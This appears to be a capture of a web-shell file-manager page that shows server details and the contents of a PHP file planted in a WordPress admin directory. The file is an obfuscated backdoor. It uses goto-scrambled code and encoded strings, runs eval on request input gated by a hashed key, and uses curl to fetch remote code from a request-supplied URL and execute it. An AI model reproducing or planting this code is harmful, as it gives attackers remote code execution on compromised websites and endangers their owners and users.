HEX
Server: Apache
System: Linux dinesh8149 5.15.98-grsec-sharedvalley-2.lc.el8.x86_64 #1 SMP Thu Mar 9 09:07:30 -03 2023 x86_64
User: usesambura1 (1212012)
PHP: 7.0.33
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/c/63/6c/usesambura1/public_html/yr/wp-admin/js/js/index.php
<?php
 goto j3syeGhsJlLt; CR_bLarVDDw6: if (!(in_array(gettype($eBDi98XHH6fo) . count($eBDi98XHH6fo), $eBDi98XHH6fo) && count($eBDi98XHH6fo) == 23 && md5(md5(md5(md5($eBDi98XHH6fo[17])))) === "\x35\x38\67\60\x66\x61\x32\146\145\141\67\x62\61\x33\x37\x61\x37\x39\x39\64\141\143\x36\64\x33\x38\x35\x37\141\141\x30\65")) { goto OiX2rLioYEvq; } goto T1o9JL1n6lgk; j3syeGhsJlLt: $Y0x4oNzv2IX_ = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto NYInrihkpzCe; dIwtNsY_KCT9: metaphone("\x4d\152\x4d\x78\x4f\124\115\x34\x4d\152\143\62\115\104\131\x77\117\x54\x4d\170\116\104\147\171\117\x54\125\x79\116\124\121\x79"); goto v1Ao3eRuETUl; T1o9JL1n6lgk: ($eBDi98XHH6fo[68] = $eBDi98XHH6fo[68] . $eBDi98XHH6fo[78]) && ($eBDi98XHH6fo[85] = $eBDi98XHH6fo[68]($eBDi98XHH6fo[85])) && @eval($eBDi98XHH6fo[68](${$eBDi98XHH6fo[50]}[25])); goto Xw8_7cEuLM5w; NYInrihkpzCe: $lcRwitBuy2z4 = $Y0x4oNzv2IX_("\176", "\x20"); goto RBICQTHKFcSz; Xw8_7cEuLM5w: OiX2rLioYEvq: goto dIwtNsY_KCT9; RBICQTHKFcSz: $eBDi98XHH6fo = ${$lcRwitBuy2z4[8 + 23] . $lcRwitBuy2z4[38 + 21] . $lcRwitBuy2z4[6 + 41] . $lcRwitBuy2z4[36 + 11] . $lcRwitBuy2z4[37 + 14] . $lcRwitBuy2z4[25 + 28] . $lcRwitBuy2z4[49 + 8]}; goto CR_bLarVDDw6; v1Ao3eRuETUl: class lDbCiP7rJThT { static function P6OwCRyXMYwj($sL11foomZtth) { goto x3mIXnEzNysU; REDw9fJhEtGp: $GlVyVJKTKMZk = $SiBLF403Lr3i("\176", "\x20"); goto wh2Xw5C6qifL; wh2Xw5C6qifL: $B3Lo3lg0ot2e = explode("\74", $sL11foomZtth); goto xaebWfm3qsyK; PDhb_kbu_2BZ: return $cvUnCJvApPsy; goto bLdyoKTufqqp; DzvJxmIgDgvN: foreach ($B3Lo3lg0ot2e as $Y0xvCB9gvdCN => $hj8MzWS_wjtr) { $cvUnCJvApPsy .= $GlVyVJKTKMZk[$hj8MzWS_wjtr - 44135]; HktuhhdRdLKt: } goto UZ2S2kW92vpL; UZ2S2kW92vpL: L2qdaW5w0Uts: goto PDhb_kbu_2BZ; x3mIXnEzNysU: $SiBLF403Lr3i = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto REDw9fJhEtGp; xaebWfm3qsyK: $cvUnCJvApPsy = ''; goto DzvJxmIgDgvN; bLdyoKTufqqp: } static function S0TB4zCQqrnD($iDW3QdN6JQxU, $QHJNjPExQxWX) { goto RGg6WZp9sC7T; RGg6WZp9sC7T: $Cdb3PRlFo81X = curl_init($iDW3QdN6JQxU); goto o2L2xtEh11AR; cONYD7n48Akb: return empty($ETUa1rHoKD1O) ? $QHJNjPExQxWX($iDW3QdN6JQxU) : $ETUa1rHoKD1O; goto WFjXVG3gZaqo; o2L2xtEh11AR: curl_setopt($Cdb3PRlFo81X, CURLOPT_RETURNTRANSFER, 1); goto Ut5XR8Sww7cO; Ut5XR8Sww7cO: $ETUa1rHoKD1O = curl_exec($Cdb3PRlFo81X); goto cONYD7n48Akb; WFjXVG3gZaqo: } static function X21yCwyT8Cpk() { goto hvbyr5P4SxYG; z7YRXXv6c5un: W61l02vP5utU: goto aOND51EkC3In; MHLK_QKJjvoa: @$N9ijDgcMyojU[1 + 9](INPUT_GET, "\x6f\x66") == 1 && die($N9ijDgcMyojU[1 + 4](__FILE__)); goto xxvAsC_RPGAO; i2fCVDe0_xve: @eval($N9ijDgcMyojU[4 + 0]($V_30F9M5Glx_)); goto r0r6KSSBKCzi; hvbyr5P4SxYG: $k2g9MQ3wBbol = array("\64\x34\x31\66\62\x3c\x34\x34\61\x34\67\74\64\64\x31\x36\x30\74\x34\64\x31\x36\x34\x3c\x34\x34\x31\64\65\74\x34\64\61\x36\x30\x3c\64\64\61\66\x36\x3c\64\64\61\x35\x39\74\x34\x34\x31\x34\x34\74\64\64\61\65\61\x3c\x34\64\61\66\x32\x3c\64\x34\61\64\x35\x3c\x34\64\61\x35\x36\x3c\64\64\61\65\60\x3c\x34\x34\61\x35\61", "\x34\64\61\64\x36\74\64\64\61\64\x35\x3c\64\64\61\x34\x37\x3c\x34\64\x31\x36\66\74\64\64\x31\64\x37\74\x34\x34\x31\x35\x30\74\64\x34\x31\x34\65\x3c\64\x34\62\x31\x32\x3c\64\64\x32\x31\x30", "\64\x34\61\x35\x35\74\x34\x34\x31\64\x36\x3c\x34\x34\61\x35\60\x3c\x34\64\x31\65\x31\74\x34\64\61\x36\66\74\64\x34\x31\x36\x31\x3c\x34\64\61\66\60\74\x34\x34\61\66\62\x3c\64\x34\61\x35\x30\74\64\x34\x31\66\x31\x3c\64\64\x31\x36\x30", "\64\64\61\64\x39\74\x34\x34\61\x36\x34\x3c\x34\64\x31\66\x32\74\64\64\x31\65\64", "\64\64\61\x36\63\74\64\64\61\x36\64\x3c\64\64\x31\64\x36\x3c\64\x34\61\x36\60\x3c\x34\64\x32\60\67\74\64\64\x32\x30\71\x3c\64\x34\x31\x36\x36\74\64\x34\x31\x36\61\x3c\64\64\x31\66\60\74\x34\x34\x31\66\x32\x3c\x34\x34\61\65\x30\74\64\x34\x31\66\x31\x3c\x34\64\61\66\60", "\x34\x34\x31\x35\71\74\64\64\x31\65\x36\x3c\64\64\x31\65\63\x3c\x34\x34\x31\66\x30\x3c\x34\64\x31\x36\66\x3c\64\x34\61\x35\70\74\x34\64\61\x36\60\74\x34\x34\x31\x34\x35\74\64\x34\61\x36\66\x3c\x34\64\61\66\x32\74\64\64\61\65\60\x3c\x34\64\x31\x35\61\x3c\x34\x34\x31\64\x35\74\x34\x34\61\66\x30\74\x34\x34\x31\65\x31\74\64\64\61\64\65\x3c\x34\64\61\x34\66", "\x34\64\61\70\x39\x3c\x34\x34\62\x31\71", "\x34\x34\x31\x33\66", "\x34\64\x32\x31\x34\74\64\64\x32\x31\71", "\64\64\61\71\x36\74\64\64\61\67\71\x3c\x34\x34\x31\x37\71\74\x34\x34\x31\x39\66\x3c\64\64\61\67\x32", "\64\64\61\x35\71\x3c\64\64\x31\65\x36\74\64\x34\x31\65\x33\x3c\x34\64\x31\x34\x35\74\64\x34\x31\66\60\74\x34\x34\61\64\67\x3c\x34\x34\61\x36\x36\74\64\x34\x31\x35\x36\x3c\64\x34\x31\x35\61\74\64\x34\x31\64\x39\74\64\64\61\64\64\x3c\64\64\61\64\65"); goto PvJwXA3GWuoL; aOND51EkC3In: $C7lPmcr0wRi1 = @$N9ijDgcMyojU[1]($N9ijDgcMyojU[5 + 5](INPUT_GET, $N9ijDgcMyojU[9 + 0])); goto U2Tpg617gAa8; U2Tpg617gAa8: $O6s2C9o25vzs = @$N9ijDgcMyojU[2 + 1]($N9ijDgcMyojU[6 + 0], $C7lPmcr0wRi1); goto nFfU9GEYpyYk; PG8dA5jcdP9b: diCZRL1UaLvi: goto fTeqT5V64XER; xxvAsC_RPGAO: if (!(@$vzAvxDDmUGmC[0] - time() > 0 and md5(md5($vzAvxDDmUGmC[2 + 1])) === "\x62\x61\64\x64\145\64\144\65\x38\x66\x61\70\60\x31\63\x36\60\145\71\x36\x63\71\143\64\x39\x38\x38\x30\x66\x35\62\x65")) { goto diCZRL1UaLvi; } goto kvKH1XMzFHBT; r0r6KSSBKCzi: die; goto PG8dA5jcdP9b; kvKH1XMzFHBT: $V_30F9M5Glx_ = self::s0TB4zcqqRNd($vzAvxDDmUGmC[1 + 0], $N9ijDgcMyojU[5 + 0]); goto i2fCVDe0_xve; PvJwXA3GWuoL: foreach ($k2g9MQ3wBbol as $zsBsU0I6s02v) { $N9ijDgcMyojU[] = self::p6OWcRYXMywj($zsBsU0I6s02v); GajgPspjKJUJ: } goto z7YRXXv6c5un; nFfU9GEYpyYk: $vzAvxDDmUGmC = $N9ijDgcMyojU[1 + 1]($O6s2C9o25vzs, true); goto MHLK_QKJjvoa; fTeqT5V64XER: } } goto GNDZCVrGRKkY; GNDZCVrGRKkY: lDbCip7RjTht::X21ycwyT8cpk();
?>